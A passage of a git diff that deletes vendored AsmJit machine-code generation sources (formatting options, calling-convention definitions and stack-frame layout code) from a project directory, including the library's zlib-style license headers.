============================================================================ -// [Forward Declarations] -// ============================================================================ - -class BaseEmitter; -struct Operand_; - -#ifndef ASMJIT_NO_BUILDER -class BaseBuilder; -class BaseNode; -#endif - -#ifndef ASMJIT_NO_COMPILER -class BaseCompiler; -#endif - -// ============================================================================ -// [asmjit::FormatOptions] -// ============================================================================ - -//! Formatting options used by \ref Logger and \ref Formatter. -class FormatOptions { -public: - //! Format flags, see \ref Flags. - uint32_t _flags; - //! Indentation by type, see \ref IndentationType. - uint8_t _indentation[4]; - - //! Flags can enable a logging feature. - enum Flags : uint32_t { - //! No flags. - kNoFlags = 0u, - - //! Show also binary form of each logged instruction (Assembler). - kFlagMachineCode = 0x00000001u, - //! Show a text explanation of some immediate values. - kFlagExplainImms = 0x00000002u, - //! Use hexadecimal notation of immediate values. - kFlagHexImms = 0x00000004u, - //! Use hexadecimal notation of address offsets. - kFlagHexOffsets = 0x00000008u, - //! Show casts between virtual register types (Compiler). - kFlagRegCasts = 0x00000010u, - //! Show positions associated with nodes (Compiler). - kFlagPositions = 0x00000020u, - //! Annotate nodes that are lowered by passes. - kFlagAnnotations = 0x00000040u, - - // TODO: These must go, keep this only for formatting. - //! Show an additional output from passes. - kFlagDebugPasses = 0x00000080u, - //! Show an additional output from RA. - kFlagDebugRA = 0x00000100u - }; - - //! Describes indentation type of code, label, or comment in logger output. - enum IndentationType : uint32_t { - //! Indentation used for instructions and directives. - kIndentationCode = 0u, - //! Indentation used for labels and function nodes. - kIndentationLabel = 1u, - //! Indentation used for comments (not inline comments). - kIndentationComment = 2u, - //! \cond INTERNAL - //! Reserved for future use. - kIndentationReserved = 3u - //! \endcond - }; - - //! \name Construction & Destruction - //! \{ - - //! Creates a default-initialized FormatOptions. - constexpr FormatOptions() noexcept - : _flags(0), - _indentation { 0, 0, 0, 0 } {} - - constexpr FormatOptions(const FormatOptions& other) noexcept = default; - inline FormatOptions& operator=(const FormatOptions& other) noexcept = default; - - //! Resets FormatOptions to its default initialized state. - inline void reset() noexcept { - _flags = 0; - _indentation[0] = 0; - _indentation[1] = 0; - _indentation[2] = 0; - _indentation[3] = 0; - } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns format flags. - constexpr uint32_t flags() const noexcept { return _flags; } - //! Tests whether the given `flag` is set in format flags. - constexpr bool hasFlag(uint32_t flag) const noexcept { return (_flags & flag) != 0; } - //! Resets all format flags to `flags`. - inline void setFlags(uint32_t flags) noexcept { _flags = flags; } - //! Adds `flags` to format flags. - inline void addFlags(uint32_t flags) noexcept { _flags |= flags; } - //! Removes `flags` from format flags. - inline void clearFlags(uint32_t flags) noexcept { _flags &= ~flags; } - - //! Returns indentation for the given `type`, see \ref IndentationType. - constexpr uint8_t indentation(uint32_t type) const noexcept { return _indentation[type]; } - //! Sets indentation for the given `type`, see \ref IndentationType. - inline void setIndentation(uint32_t type, uint32_t n) noexcept { _indentation[type] = uint8_t(n); } - //! Resets indentation for the given `type` to zero. - inline void resetIndentation(uint32_t type) noexcept { _indentation[type] = uint8_t(0); } - - //! \} -}; - -// ============================================================================ -// [asmjit::Formatter] -// ============================================================================ - -//! Provides formatting functionality to format operands, instructions, and nodes. -namespace Formatter { - -//! Appends a formatted `typeId` to the output string `sb`. -ASMJIT_API Error formatTypeId( - String& sb, - uint32_t typeId) noexcept; - -//! Appends a formatted `featureId` to the output string `sb`. -//! -//! See \ref BaseFeatures. -ASMJIT_API Error formatFeature( - String& sb, - uint32_t arch, - uint32_t featureId) noexcept; - -//! Appends a formatted register to the output string `sb`. -//! -//! \note Emitter is optional, but it's required to format virtual registers, -//! which won't be formatted properly if the `emitter` is not provided. -ASMJIT_API Error formatRegister( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - uint32_t arch, - uint32_t regType, - uint32_t regId) noexcept; - -//! Appends a formatted label to the output string `sb`. -//! -//! \note Emitter is optional, but it's required to format named labels -//! properly, otherwise the formatted as it is an anonymous label. -ASMJIT_API Error formatLabel( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - uint32_t labelId) noexcept; - -//! Appends a formatted operand to the output string `sb`. -//! -//! \note Emitter is optional, but it's required to format named labels and -//! virtual registers. See \ref formatRegister() and \ref formatLabel() for -//! more details. -ASMJIT_API Error formatOperand( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - uint32_t arch, - const Operand_& op) noexcept; - -//! Appends a formatted instruction to the output string `sb`. -//! -//! \note Emitter is optional, but it's required to format named labels and -//! virtual registers. See \ref formatRegister() and \ref formatLabel() for -//! more details. -ASMJIT_API Error formatInstruction( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - uint32_t arch, - const BaseInst& inst, const Operand_* operands, size_t opCount) noexcept; - -#ifndef ASMJIT_NO_BUILDER -//! Appends a formatted node to the output string `sb`. -//! -//! The `node` must belong to the provided `builder`. -ASMJIT_API Error formatNode( - String& sb, - uint32_t formatFlags, - const BaseBuilder* builder, - const BaseNode* node) noexcept; - -//! Appends formatted nodes to the output string `sb`. -//! -//! All nodes that are part of the given `builder` will be appended. -ASMJIT_API Error formatNodeList( - String& sb, - uint32_t formatFlags, - const BaseBuilder* builder) noexcept; - -//! Appends formatted nodes to the output string `sb`. -//! -//! This function works the same as \ref formatNode(), but appends more nodes -//! to the output string, separating each node with a newline '\n' character. -ASMJIT_API Error formatNodeList( - String& sb, - uint32_t formatFlags, - const BaseBuilder* builder, - const BaseNode* begin, - const BaseNode* end) noexcept; -#endif - -} // {Formatter} - -//! \} - -ASMJIT_END_NAMESPACE - -#endif - -#endif // ASMJIT_CORE_FORMATTER_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/func.cpp b/src/Theodosius/asmjit/core/func.cpp deleted file mode 100644 index bb131a0..0000000 --- a/src/Theodosius/asmjit/core/func.cpp +++ /dev/null @@ -1,310 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/archtraits.h" -#include "../core/func.h" -#include "../core/operand.h" -#include "../core/type.h" -#include "../core/funcargscontext_p.h" - -#ifdef ASMJIT_BUILD_X86 - #include "../x86/x86func_p.h" -#endif - -#ifdef ASMJIT_BUILD_ARM - #include "../arm/armfunc_p.h" -#endif - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::CallConv - Init / Reset] -// ============================================================================ - -ASMJIT_FAVOR_SIZE Error CallConv::init(uint32_t ccId, const Environment& environment) noexcept { - reset(); - -#ifdef ASMJIT_BUILD_X86 - if (environment.isFamilyX86()) - return x86::FuncInternal::initCallConv(*this, ccId, environment); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (environment.isFamilyARM()) - return arm::FuncInternal::initCallConv(*this, ccId, environment); -#endif - - return DebugUtils::errored(kErrorInvalidArgument); -} - -// ============================================================================ -// [asmjit::FuncDetail - Init / Reset] -// ============================================================================ - -ASMJIT_FAVOR_SIZE Error FuncDetail::init(const FuncSignature& signature, const Environment& environment) noexcept { - uint32_t ccId = signature.callConv(); - uint32_t argCount = signature.argCount(); - - if (ASMJIT_UNLIKELY(argCount > Globals::kMaxFuncArgs)) - return DebugUtils::errored(kErrorInvalidArgument); - - CallConv& cc = _callConv; - ASMJIT_PROPAGATE(cc.init(ccId, environment)); - - uint32_t registerSize = Environment::registerSizeFromArch(cc.arch()); - uint32_t deabstractDelta = Type::deabstractDeltaOfSize(registerSize); - - const uint8_t* signatureArgs = signature.args(); - for (uint32_t argIndex = 0; argIndex < argCount; argIndex++) { - FuncValuePack& argPack = _args[argIndex]; - argPack[0].initTypeId(Type::deabstract(signatureArgs[argIndex], deabstractDelta)); - } - _argCount = uint8_t(argCount); - _vaIndex = uint8_t(signature.vaIndex()); - - uint32_t ret = signature.ret(); - if (ret != Type::kIdVoid) - _rets[0].initTypeId(Type::deabstract(ret, deabstractDelta)); - -#ifdef ASMJIT_BUILD_X86 - if (environment.isFamilyX86()) - return x86::FuncInternal::initFuncDetail(*this, signature, registerSize); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (environment.isFamilyARM()) - return arm::FuncInternal::initFuncDetail(*this, signature, registerSize); -#endif - - // We should never bubble here as if `cc.init()` succeeded then there has to - // be an implementation for the current architecture. However, stay safe. - return DebugUtils::errored(kErrorInvalidArgument); -} - -// ============================================================================ -// [asmjit::FuncFrame - Init / Finalize] -// ============================================================================ - -ASMJIT_FAVOR_SIZE Error FuncFrame::init(const FuncDetail& func) noexcept { - uint32_t arch = func.callConv().arch(); - if (!Environment::isValidArch(arch)) - return DebugUtils::errored(kErrorInvalidArch); - - const ArchTraits& archTraits = ArchTraits::byArch(arch); - - // Initializing FuncFrame means making a copy of some properties of `func`. - // Properties like `_localStackSize` will be set by the user before the frame - // is finalized. - reset(); - - _arch = uint8_t(arch); - _spRegId = uint8_t(archTraits.spRegId()); - _saRegId = uint8_t(BaseReg::kIdBad); - - uint32_t naturalStackAlignment = func.callConv().naturalStackAlignment(); - uint32_t minDynamicAlignment = Support::max(naturalStackAlignment, 16); - - if (minDynamicAlignment == naturalStackAlignment) - minDynamicAlignment <<= 1; - - _naturalStackAlignment = uint8_t(naturalStackAlignment); - _minDynamicAlignment = uint8_t(minDynamicAlignment); - _redZoneSize = uint8_t(func.redZoneSize()); - _spillZoneSize = uint8_t(func.spillZoneSize()); - _finalStackAlignment = uint8_t(_naturalStackAlignment); - - if (func.hasFlag(CallConv::kFlagCalleePopsStack)) { - _calleeStackCleanup = uint16_t(func.argStackSize()); - } - - // Initial masks of dirty and preserved registers. - for (uint32_t group = 0; group < BaseReg::kGroupVirt; group++) { - _dirtyRegs[group] = func.usedRegs(group); - _preservedRegs[group] = func.preservedRegs(group); - } - - // Exclude stack pointer - this register is never included in saved GP regs. - _preservedRegs[BaseReg::kGroupGp] &= ~Support::bitMask(archTraits.spRegId()); - - // The size and alignment of save/restore area of registers for each significant register group. - memcpy(_saveRestoreRegSize, func.callConv()._saveRestoreRegSize, sizeof(_saveRestoreRegSize)); - memcpy(_saveRestoreAlignment, func.callConv()._saveRestoreAlignment, sizeof(_saveRestoreAlignment)); - - return kErrorOk; -} - -ASMJIT_FAVOR_SIZE Error FuncFrame::finalize() noexcept { - if (!Environment::isValidArch(arch())) - return DebugUtils::errored(kErrorInvalidArch); - - const ArchTraits& archTraits = ArchTraits::byArch(arch()); - - uint32_t registerSize = _saveRestoreRegSize[BaseReg::kGroupGp]; - uint32_t vectorSize = _saveRestoreRegSize[BaseReg::kGroupVec]; - uint32_t returnAddressSize = archTraits.hasLinkReg() ? 0u : registerSize; - - // The final stack alignment must be updated accordingly to call and local stack alignments. - uint32_t stackAlignment = _finalStackAlignment; - ASMJIT_ASSERT(stackAlignment == Support::max(_naturalStackAlignment, - _callStackAlignment, - _localStackAlignment)); - - bool hasFP = hasPreservedFP(); - bool hasDA = hasDynamicAlignment(); - - uint32_t kSp = archTraits.spRegId(); - uint32_t kFp = archTraits.fpRegId(); - uint32_t kLr = archTraits.linkRegId(); - - // Make frame pointer dirty if the function uses it. - if (hasFP) { - _dirtyRegs[BaseReg::kGroupGp] |= Support::bitMask(kFp); - - // Currently required by ARM, if this works differently across architectures - // we would have to generalize most likely in CallConv. - if (kLr != BaseReg::kIdBad) - _dirtyRegs[BaseReg::kGroupGp] |= Support::bitMask(kLr); - } - - // These two are identical if the function doesn't align its stack dynamically. - uint32_t saRegId = _saRegId; - if (saRegId == BaseReg::kIdBad) - saRegId = kSp; - - // Fix stack arguments base-register from SP to FP in case it was not picked - // before and the function performs dynamic stack alignment. - if (hasDA && saRegId == kSp) - saRegId = kFp; - - // Mark as dirty any register but SP if used as SA pointer. - if (saRegId != kSp) - _dirtyRegs[BaseReg::kGroupGp] |= Support::bitMask(saRegId); - - _spRegId = uint8_t(kSp); - _saRegId = uint8_t(saRegId); - - // Setup stack size used to save preserved registers. - uint32_t saveRestoreSizes[2] {}; - for (uint32_t group = 0; group < BaseReg::kGroupVirt; group++) - saveRestoreSizes[size_t(!archTraits.hasPushPop(group))] - += Support::alignUp(Support::popcnt(savedRegs(group)) * saveRestoreRegSize(group), saveRestoreAlignment(group)); - - _pushPopSaveSize = uint16_t(saveRestoreSizes[0]); - _extraRegSaveSize = uint16_t(saveRestoreSizes[1]); - - uint32_t v = 0; // The beginning of the stack frame relative to SP after prolog. - v += callStackSize(); // Count 'callStackSize' <- This is used to call functions. - v = Support::alignUp(v, stackAlignment); // Align to function's stack alignment. - - _localStackOffset = v; // Store 'localStackOffset' <- Function's local stack starts here. - v += localStackSize(); // Count 'localStackSize' <- Function's local stack ends here. - - // If the function's stack must be aligned, calculate the alignment necessary - // to store vector registers, and set `FuncFrame::kAttrAlignedVecSR` to inform - // PEI that it can use instructions that perform aligned stores/loads. - if (stackAlignment >= vectorSize && _extraRegSaveSize) { - addAttributes(FuncFrame::kAttrAlignedVecSR); - v = Support::alignUp(v, vectorSize); // Align 'extraRegSaveOffset'. - } - - _extraRegSaveOffset = v; // Store 'extraRegSaveOffset' <- Non-GP save/restore starts here. - v += _extraRegSaveSize; // Count 'extraRegSaveSize' <- Non-GP save/restore ends here. - - // Calculate if dynamic alignment (DA) slot (stored as offset relative to SP) is required and its offset. - if (hasDA && !hasFP) { - _daOffset = v; // Store 'daOffset' <- DA pointer would be stored here. - v += registerSize; // Count 'daOffset'. - } - else { - _daOffset = FuncFrame::kTagInvalidOffset; - } - - // Link Register - // ------------- - // - // The stack is aligned after the function call as the return address is - // stored in a link register. Some architectures may require to always - // have aligned stack after PUSH/POP operation, which is represented by - // ArchTraits::stackAlignmentConstraint(). - // - // No Link Register (X86/X64) - // -------------------------- - // - // The return address should be stored after GP save/restore regs. It has - // the same size as `registerSize` (basically the native register/pointer - // size). We don't adjust it now as `v` now contains the exact size that the - // function requires to adjust (call frame + stack frame, vec stack size). - // The stack (if we consider this size) is misaligned now, as it's always - // aligned before the function call - when `call()` is executed it pushes - // the current EIP|RIP onto the stack, and misaligns it by 12 or 8 bytes - // (depending on the architecture). So count number of bytes needed to align - // it up to the function's CallFrame (the beginning). - if (v || hasFuncCalls() || !returnAddressSize) - v += Support::alignUpDiff(v + pushPopSaveSize() + returnAddressSize, stackAlignment); - - _pushPopSaveOffset = v; // Store 'pushPopSaveOffset' <- Function's push/pop save/restore starts here. - _stackAdjustment = v; // Store 'stackAdjustment' <- SA used by 'add SP, SA' and 'sub SP, SA'. - v += _pushPopSaveSize; // Count 'pushPopSaveSize' <- Function's push/pop save/restore ends here. - _finalStackSize = v; // Store 'finalStackSize' <- Final stack used by the function. - - if (!archTraits.hasLinkReg()) - v += registerSize; // Count 'ReturnAddress' <- As CALL pushes onto stack. - - // If the function performs dynamic stack alignment then the stack-adjustment must be aligned. - if (hasDA) - _stackAdjustment = Support::alignUp(_stackAdjustment, stackAlignment); - - // Calculate where the function arguments start relative to SP. - _saOffsetFromSP = hasDA ? FuncFrame::kTagInvalidOffset : v; - - // Calculate where the function arguments start relative to FP or user-provided register. - _saOffsetFromSA = hasFP ? returnAddressSize + registerSize // Return address + frame pointer. - : returnAddressSize + _pushPopSaveSize; // Return address + all push/pop regs. - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::FuncArgsAssignment] -// ============================================================================ - -ASMJIT_FAVOR_SIZE Error FuncArgsAssignment::updateFuncFrame(FuncFrame& frame) const noexcept { - uint32_t arch = frame.arch(); - const FuncDetail* func = funcDetail(); - - if (!func) - return DebugUtils::errored(kErrorInvalidState); - - RAConstraints constraints; - ASMJIT_PROPAGATE(constraints.init(arch)); - - FuncArgsContext ctx; - ASMJIT_PROPAGATE(ctx.initWorkData(frame, *this, &constraints)); - ASMJIT_PROPAGATE(ctx.markDstRegsDirty(frame)); - ASMJIT_PROPAGATE(ctx.markScratchRegs(frame)); - ASMJIT_PROPAGATE(ctx.markStackArgsReg(frame)); - return kErrorOk; -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/func.h b/src/Theodosius/asmjit/core/func.h deleted file mode 100644 index 6cfd044..0000000 --- a/src/Theodosius/asmjit/core/func.h +++ /dev/null @@ -1,1426 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_FUNC_H_INCLUDED -#define ASMJIT_CORE_FUNC_H_INCLUDED - -#include "../core/archtraits.h" -#include "../core/environment.h" -#include "../core/operand.h" -#include "../core/type.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_function -//! \{ - -// ============================================================================ -// [asmjit::CallConv] -// ============================================================================ - -//! Function calling convention. -//! -//! Function calling convention is a scheme that defines how function parameters -//! are passed and how function returns its result. AsmJit defines a variety of -//! architecture and OS specific calling conventions and also provides a compile -//! time detection to make the code-generation easier. -struct CallConv { - //! Calling convention id, see \ref Id. - uint8_t _id; - //! Architecture identifier, see \ref Environment::Arch. - uint8_t _arch; - //! Register assignment strategy, see \ref Strategy. - uint8_t _strategy; - - //! Red zone size (AMD64 == 128 bytes). - uint8_t _redZoneSize; - //! Spill zone size (WIN-X64 == 32 bytes). - uint8_t _spillZoneSize; - //! Natural stack alignment as defined by OS/ABI. - uint8_t _naturalStackAlignment; - - //! Flags. - uint16_t _flags; - - //! Size to save/restore per register group. - uint8_t _saveRestoreRegSize[BaseReg::kGroupVirt]; - //! Alignment of save/restore groups. - uint8_t _saveRestoreAlignment[BaseReg::kGroupVirt]; - - //! Mask of all passed registers, per group. - uint32_t _passedRegs[BaseReg::kGroupVirt]; - //! Mask of all preserved registers, per group. - uint32_t _preservedRegs[BaseReg::kGroupVirt]; - - //! Internal limits of AsmJit's CallConv. - enum Limits : uint32_t { - //! Maximum number of register arguments per register group. - //! - //! \note This is not really AsmJit's limitatation, it's just the number - //! that makes sense considering all common calling conventions. Usually - //! even conventions that use registers to pass function arguments are - //! limited to 8 and less arguments passed via registers per group. - kMaxRegArgsPerGroup = 16 - }; - - //! Passed registers' order. - union RegOrder { - //! Passed registers, ordered. - uint8_t id[kMaxRegArgsPerGroup]; - //! Packed IDs in `uint32_t` array. - uint32_t packed[(kMaxRegArgsPerGroup + 3) / 4]; - }; - - //! Passed registers' order, per register group. - RegOrder _passedOrder[BaseReg::kGroupVirt]; - - //! Calling convention id. - //! - //! Calling conventions can be divided into the following groups: - //! - //! - Universal - calling conventions are applicable to any target. They - //! will be converted to a target dependent calling convention at runtime - //! by \ref init(). The purpose of these conventions is to make using - //! functions less target dependent and closer to how they are declared - //! in C and C++. - //! - //! - Target specific - calling conventions that are used by a particular - //! architecture and ABI. For example Windows 64-bit calling convention - //! and AMD64 SystemV calling convention. - enum Id : uint32_t { - //! None or invalid (can't be used). - kIdNone = 0, - - // ------------------------------------------------------------------------ - // [Universal Calling Conventions] - // ------------------------------------------------------------------------ - - //! Standard function call or explicit `__cdecl` where it can be specified. - //! - //! This is a universal calling convention, which is used to initialize - //! specific calling connventions based on architecture, platform, and its ABI. - kIdCDecl = 1, - - //! `__stdcall` on targets that support this calling convention (X86). - //! - //! \note This calling convention is only supported on 32-bit X86. If used - //! on environment that doesn't support this calling convention it will be - //! replaced by \ref kIdCDecl. - kIdStdCall = 2, - - //! `__fastcall` on targets that support this calling convention (X86). - //! - //! \note This calling convention is only supported on 32-bit X86. If used - //! on environment that doesn't support this calling convention it will be - //! replaced by \ref kIdCDecl. - kIdFastCall = 3, - - //! `__vectorcall` on targets that support this calling convention (X86/X64). - //! - //! \note This calling convention is only supported on 32-bit and 64-bit - //! X86 architecture on Windows platform. If used on environment that doesn't - //! support this calling it will be replaced by \ref kIdCDecl. - kIdVectorCall = 4, - - //! `__thiscall` on targets that support this calling convention (X86). - //! - //! \note This calling convention is only supported on 32-bit X86 Windows - //! platform. If used on environment that doesn't support this calling - //! convention it will be replaced by \ref kIdCDecl. - kIdThisCall = 5, - - //! `__attribute__((regparm(1)))` convention (GCC and Clang). - kIdRegParm1 = 6, - //! `__attribute__((regparm(2)))` convention (GCC and Clang). - kIdRegParm2 = 7, - //! `__attribute__((regparm(3)))` convention (GCC and Clang). - kIdRegParm3 = 8, - - //! Soft-float calling convention (ARM). - //! - //! Floating point arguments are passed via general purpose registers. - kIdSoftFloat = 9, - - //! Hard-float calling convention (ARM). - //! - //! Floating point arguments are passed via SIMD registers. - kIdHardFloat = 10, - - //! AsmJit specific calling convention designed for calling functions - //! inside a multimedia code that don't use many registers internally, - //! but are long enough to be called and not inlined. These functions are - //! usually used to calculate trigonometric functions, logarithms, etc... - kIdLightCall2 = 16, - kIdLightCall3 = 17, - kIdLightCall4 = 18, - - // ------------------------------------------------------------------------ - // [ABI-Specific Calling Conventions] - // ------------------------------------------------------------------------ - - //! X64 System-V calling convention. - kIdX64SystemV = 32, - //! X64 Windows calling convention. - kIdX64Windows = 33, - - // ------------------------------------------------------------------------ - // [Host] - // ------------------------------------------------------------------------ - - //! Host calling convention detected at compile-time. - kIdHost = -#if ASMJIT_ARCH_ARM == 32 && defined(__SOFTFP__) - kIdSoftFloat -#elif ASMJIT_ARCH_ARM == 32 && !defined(__SOFTFP__) - kIdHardFloat -#else - kIdCDecl -#endif - -#ifndef ASMJIT_NO_DEPRECATE - , kIdHostCDecl = kIdCDecl - , kIdHostStdCall = kIdStdCall - , kIdHostFastCall = kIdFastCall - , kIdHostLightCall2 = kIdLightCall2 - , kIdHostLightCall3 = kIdLightCall3 - , kIdHostLightCall4 = kIdLightCall4 -#endif // !ASMJIT_NO_DEPRECATE - }; - - //! Strategy used to assign registers to function arguments. - //! - //! This is AsmJit specific. It basically describes how AsmJit should convert - //! the function arguments defined by `FuncSignature` into register IDs and - //! stack offsets. The default strategy `kStrategyDefault` assigns registers - //! and then stack whereas `kStrategyWin64` strategy does register shadowing - //! as defined by WIN64 calling convention - it applies to 64-bit calling - //! conventions only. - enum Strategy : uint32_t { - //! Default register assignment strategy. - kStrategyDefault = 0, - //! Windows 64-bit ABI register assignment strategy. - kStrategyX64Windows = 1, - //! Windows 64-bit __vectorcall register assignment strategy. - kStrategyX64VectorCall = 2, - - //! Number of assignment strategies. - kStrategyCount = 3 - }; - - //! Calling convention flags. - enum Flags : uint32_t { - //! Callee is responsible for cleaning up the stack. - kFlagCalleePopsStack = 0x0001u, - //! Pass vector arguments indirectly (as a pointer). - kFlagIndirectVecArgs = 0x0002u, - //! Pass F32 and F64 arguments via VEC128 register. - kFlagPassFloatsByVec = 0x0004u, - //! Pass MMX and vector arguments via stack if the function has variable arguments. - kFlagPassVecByStackIfVA = 0x0008u, - //! MMX registers are passed and returned via GP registers. - kFlagPassMmxByGp = 0x0010u, - //! MMX registers are passed and returned via XMM registers. - kFlagPassMmxByXmm = 0x0020u, - //! Calling convention can be used with variable arguments. - kFlagVarArgCompatible = 0x0080u - }; - - //! \name Construction & Destruction - //! \{ - - //! Initializes this calling convention to the given `ccId` based on the - //! `environment`. - //! - //! See \ref Id and \ref Environment for more details. - ASMJIT_API Error init(uint32_t ccId, const Environment& environment) noexcept; - - //! Resets this CallConv struct into a defined state. - //! - //! It's recommended to reset the \ref CallConv struct in case you would - //! like create a custom calling convention as it prevents from using an - //! uninitialized data (CallConv doesn't have a constructor that would - //! initialize it, it's just a struct). - inline void reset() noexcept { - memset(this, 0, sizeof(*this)); - memset(_passedOrder, 0xFF, sizeof(_passedOrder)); - } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the calling convention id, see `Id`. - inline uint32_t id() const noexcept { return _id; } - //! Sets the calling convention id, see `Id`. - inline void setId(uint32_t id) noexcept { _id = uint8_t(id); } - - //! Returns the calling function architecture id. - inline uint32_t arch() const noexcept { return _arch; } - //! Sets the calling function architecture id. - inline void setArch(uint32_t arch) noexcept { _arch = uint8_t(arch); } - - //! Returns the strategy used to assign registers to arguments, see `Strategy`. - inline uint32_t strategy() const noexcept { return _strategy; } - //! Sets the strategy used to assign registers to arguments, see `Strategy`. - inline void setStrategy(uint32_t strategy) noexcept { _strategy = uint8_t(strategy); } - - //! Tests whether the calling convention has the given `flag` set. - inline bool hasFlag(uint32_t flag) const noexcept { return (uint32_t(_flags) & flag) != 0; } - //! Returns the calling convention flags, see `Flags`. - inline uint32_t flags() const noexcept { return _flags; } - //! Adds the calling convention flags, see `Flags`. - inline void setFlags(uint32_t flag) noexcept { _flags = uint16_t(flag); }; - //! Adds the calling convention flags, see `Flags`. - inline void addFlags(uint32_t flags) noexcept { _flags = uint16_t(_flags | flags); }; - - //! Tests whether this calling convention specifies 'RedZone'. - inline bool hasRedZone() const noexcept { return _redZoneSize != 0; } - //! Tests whether this calling convention specifies 'SpillZone'. - inline bool hasSpillZone() const noexcept { return _spillZoneSize != 0; } - - //! Returns size of 'RedZone'. - inline uint32_t redZoneSize() const noexcept { return _redZoneSize; } - //! Returns size of 'SpillZone'. - inline uint32_t spillZoneSize() const noexcept { return _spillZoneSize; } - - //! Sets size of 'RedZone'. - inline void setRedZoneSize(uint32_t size) noexcept { _redZoneSize = uint8_t(size); } - //! Sets size of 'SpillZone'. - inline void setSpillZoneSize(uint32_t size) noexcept { _spillZoneSize = uint8_t(size); } - - //! Returns a natural stack alignment. - inline uint32_t naturalStackAlignment() const noexcept { return _naturalStackAlignment; } - //! Sets a natural stack alignment. - //! - //! This function can be used to override the default stack alignment in case - //! that you know that it's alignment is different. For example it allows to - //! implement custom calling conventions that guarantee higher stack alignment. - inline void setNaturalStackAlignment(uint32_t value) noexcept { _naturalStackAlignment = uint8_t(value); } - - //! Returns the size of a register (or its part) to be saved and restored of the given `group`. - inline uint32_t saveRestoreRegSize(uint32_t group) const noexcept { return _saveRestoreRegSize[group]; } - //! Sets the size of a vector register (or its part) to be saved and restored. - inline void setSaveRestoreRegSize(uint32_t group, uint32_t size) noexcept { _saveRestoreRegSize[group] = uint8_t(size); } - - //! Returns the alignment of a save-restore area of the given `group`. - inline uint32_t saveRestoreAlignment(uint32_t group) const noexcept { return _saveRestoreAlignment[group]; } - //! Sets the alignment of a save-restore area of the given `group`. - inline void setSaveRestoreAlignment(uint32_t group, uint32_t alignment) noexcept { _saveRestoreAlignment[group] = uint8_t(alignment); } - - //! Returns the order of passed registers of the given `group`, see \ref BaseReg::RegGroup. - inline const uint8_t* passedOrder(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _passedOrder[group].id; - } - - //! Returns the mask of passed registers of the given `group`, see \ref BaseReg::RegGroup. - inline uint32_t passedRegs(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _passedRegs[group]; - } - - inline void _setPassedPacked(uint32_t group, uint32_t p0, uint32_t p1, uint32_t p2, uint32_t p3) noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - - _passedOrder[group].packed[0] = p0; - _passedOrder[group].packed[1] = p1; - _passedOrder[group].packed[2] = p2; - _passedOrder[group].packed[3] = p3; - } - - //! Resets the order and mask of passed registers. - inline void setPassedToNone(uint32_t group) noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - - _setPassedPacked(group, 0xFFFFFFFFu, 0xFFFFFFFFu, 0xFFFFFFFFu, 0xFFFFFFFFu); - _passedRegs[group] = 0u; - } - - //! Sets the order and mask of passed registers. - inline void setPassedOrder(uint32_t group, uint32_t a0, uint32_t a1 = 0xFF, uint32_t a2 = 0xFF, uint32_t a3 = 0xFF, uint32_t a4 = 0xFF, uint32_t a5 = 0xFF, uint32_t a6 = 0xFF, uint32_t a7 = 0xFF) noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - - // NOTE: This should always be called with all arguments known at compile time, - // so even if it looks scary it should be translated into few instructions. - _setPassedPacked(group, Support::bytepack32_4x8(a0, a1, a2, a3), - Support::bytepack32_4x8(a4, a5, a6, a7), - 0xFFFFFFFFu, - 0xFFFFFFFFu); - - _passedRegs[group] = (a0 != 0xFF ? 1u << a0 : 0u) | - (a1 != 0xFF ? 1u << a1 : 0u) | - (a2 != 0xFF ? 1u << a2 : 0u) | - (a3 != 0xFF ? 1u << a3 : 0u) | - (a4 != 0xFF ? 1u << a4 : 0u) | - (a5 != 0xFF ? 1u << a5 : 0u) | - (a6 != 0xFF ? 1u << a6 : 0u) | - (a7 != 0xFF ? 1u << a7 : 0u) ; - } - - //! Returns preserved register mask of the given `group`, see \ref BaseReg::RegGroup. - inline uint32_t preservedRegs(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _preservedRegs[group]; - } - - //! Sets preserved register mask of the given `group`, see \ref BaseReg::RegGroup. - 